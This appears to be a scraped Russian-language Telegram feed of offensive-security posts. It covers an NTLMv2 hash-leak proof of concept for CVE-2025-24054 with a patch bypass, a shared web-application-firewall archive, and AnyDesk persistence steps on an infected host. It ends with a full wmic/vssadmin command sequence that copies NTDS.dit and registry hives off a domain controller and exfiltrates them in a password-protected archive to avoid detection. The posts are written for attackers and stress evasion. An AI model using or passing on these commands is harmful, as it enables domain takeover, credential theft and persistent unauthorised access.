CVE-2025-24054: Раскрытие хешей NTLMv2-SSP в Windows File Explorer без взаимодействия пользователя
Репозиторий содержит доказательство концепции (PoC) для уязвимости CVE-2025-24054, позволяющей раскрывать NTLMv2-SSP хэш пользователя через автоматическую обработку UNC-путей в Windows Explorer при предпросмотре ZIP-архивов с вредоносными файлами, либо при его распаковке или взаимодействия с ним.
Ключевые механизмы эксплуатации:
Основная логика CVE заключалась в использовании файлов
Детали патча от Microsoft
11 марта 2025 года Microsoft выпустила обновление безопасности для уязвимости CVE-2025-24054. Патч адресовал исходный вектор атаки на основе
Обход патча:
В скрипте я реализовал альтернативный вектор атаки на основе LNK-файлов для этой CVE (см.
📌 Демонстрация уязвимостей и исходный код: https://github.com/Untouchable17/CVE-2025-24054
Репозиторий содержит доказательство концепции (PoC) для уязвимости CVE-2025-24054, позволяющей раскрывать NTLMv2-SSP хэш пользователя через автоматическую обработку UNC-путей в Windows Explorer при предпросмотре ZIP-архивов с вредоносными файлами, либо при его распаковке или взаимодействия с ним.
Ключевые механизмы эксплуатации:
Основная логика CVE заключалась в использовании файлов
.searchConnector-ms (XML-формат) с UNC-путями в элементах simpleLocation или searchConnectorDescription. Windows Search Indexer и Explorer автоматически разрешают UNC, обходя защиту Mark-of-the-Web (MOTW), что приводит к инициации SMB-аутентификации на сервере, контролируемом атакующим и последующему захвату NTLMv2-SSP хешейДетали патча от Microsoft
11 марта 2025 года Microsoft выпустила обновление безопасности для уязвимости CVE-2025-24054. Патч адресовал исходный вектор атаки на основе
.searchConnector-ms файлов, усиливая проверку и блокируя автоматическое разрешение UNC-путей в XML-структурах во время предпросмотра архивовПодробная информация - Windows 11 версии 24H2 патч поставляется под номером KB5053598
Обход патча:
В скрипте я реализовал альтернативный вектор атаки на основе LNK-файлов для этой CVE (см.
CVE-2025-50154 / CVE-2025-59214). Обход использует LNK-файлы с UNC в TargetPath и локальными иконками для эвэйда детекции. Генерация PoC осуществляется через PowerShell-скрипт patch_bypass.ps1 с параметрами для кастомизации (IP атакующего, имя шары, имя файла-приманки). Это позволяет обходить патч, сохраняя zero-click природу эксплуатации📌 Демонстрация уязвимостей и исходный код: https://github.com/Untouchable17/CVE-2025-24054
GitHub
GitHub - Untouchable17/CVE-2025-24054: Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure
Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure - Untouchable17/CVE-2025-24054
❤5🥰3👍1💊1
ptaf.3.7.2.1155.229.zip.001
3.9 GB
PT AF - Web Application Firewall
Капризный, но крайне эффективный, главное при вводе пароля не ставить кавычку - а то вместе с ипшником и ваш аккаунт отлетит в бан 😁
Капризный, но крайне эффективный, главное при вводе пароля не ставить кавычку - а то вместе с ипшником и ваш аккаунт отлетит в бан 😁
🕊5👾4🥰1
anydesk-persistance.ps1
2.5 KB
Закреп через AnyDesk
1. Запускаем скрипт в
2. На выходе получаем
3. На своей машине (дедике\впс\виртуалке):
- Устанавливаем
- Вводим полученный ID
- Жмем "Console Account"
- Используем пароль:
4. Далее авторизовываемся локальным админом либо доменной учеткой
5. Возможности с AnyDesk:
- Передача файлов между машинами
- Точечный поиск документации
- Удаленное управление
1. Запускаем скрипт в
PowerShell ISE с правами администратора (на зараженном хосте)2. На выходе получаем
AnyDesk ID - сохраняем его3. На своей машине (дедике\впс\виртуалке):
- Устанавливаем
AnyDesk- Вводим полученный ID
- Жмем "Console Account"
- Используем пароль:
SomePassword123 (тот, что был указан в коде при запуске скрипта на зараженном хосте)4. Далее авторизовываемся локальным админом либо доменной учеткой
5. Возможности с AnyDesk:
- Передача файлов между машинами
- Точечный поиск документации
- Удаленное управление
❤4🔥1
Метод беспалевного дампа NTDS через VSS
Выполняет удалённый запуск на компьютере DC01 (который является контроллером домена или другим сервером) с использованием учётной записи DOMAIN\admin и пароля "test123". А
На DC чаще всего уже включен VSS, если нет, то создаем сами
В выводе листинг шэдоус находим самую свежую, тобиш номер теневой копии
Копирование файлов из теневой копии
Результат: В папке
1. ntds.dit
2. SECURITY
3. SYSTEM
Далее паркуем вывод в архив, условно тот же 7z возьмем для удобства:
После выкачиваем все на свою хостовую тачку и если при распаковке NTDS получаем ошибку, по типу "файл поврежден" выполняем эту команду
Удобство такого способа в том, что мы фактически не выполняем дамп, а просто выкачиваем NTDS, а чтобы не спалиться перед выкачиваем - пакуем файл в архив с паролем. Обнаружить можно только по факту передачи данных с контроллера домена, но без пароля от архива невозможно доказать, что передается именно NTDS. Поэтому, используйте этот метод если стандартный дамп NTDS детектится и вас выкидывает из сети. Этот способ спалить можно, разве что, самим фактом какой-то утекающей даты с контроллера домена, причём проанализировать что именно вы тащите не зная пароль от архива невозможно
wmic /node:"DC01" /user:"DOMAIN\admin" /password:"test123" process call create "cmd /c vssadmin list shadows >> c:\log.txt"
Выполняет удалённый запуск на компьютере DC01 (который является контроллером домена или другим сервером) с использованием учётной записи DOMAIN\admin и пароля "test123". А
vssadmin list shadows выводит список существующих теневых копий томов На DC чаще всего уже включен VSS, если нет, то создаем сами
net start Volume Shadow Copy
wmic /node:"DC01" /user:"DOMAIN\admin" /password:"test123" process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
В выводе листинг шэдоус находим самую свежую, тобиш номер теневой копии
Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1337 - 1337 копируем номер для следующей команды
Копирование файлов из теневой копии
wmic /node:"DC01" /user:"DOMAIN\admin" /password:"test123" process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1337\Windows\NTDS\NTDS.dit c:\temp\vss_log\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1337\Windows\System32\config\SYSTEM c:\temp\vss_log\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1337\Windows\System32\config\SECURITY c:\temp\vss_log\"
Результат: В папке
c:\temp\vss_log\ появятся файлы:1. ntds.dit
2. SECURITY
3. SYSTEM
Далее паркуем вывод в архив, условно тот же 7z возьмем для удобства:
7za.exe a -tzip -mx5 \\DC01\C$\temp\vss_log.zip \\DC01\C$\temp\vss_log -p password1337После выкачиваем все на свою хостовую тачку и если при распаковке NTDS получаем ошибку, по типу "файл поврежден" выполняем эту команду
Esentutl /p C:\path_to_files\ntds.ditУдобство такого способа в том, что мы фактически не выполняем дамп, а просто выкачиваем NTDS, а чтобы не спалиться перед выкачиваем - пакуем файл в архив с паролем. Обнаружить можно только по факту передачи данных с контроллера домена, но без пароля от архива невозможно доказать, что передается именно NTDS. Поэтому, используйте этот метод если стандартный дамп NTDS детектится и вас выкидывает из сети. Этот способ спалить можно, разве что, самим фактом какой-то утекающей даты с контроллера домена, причём проанализировать что именно вы тащите не зная пароль от архива невозможно
👍1🤔1👌1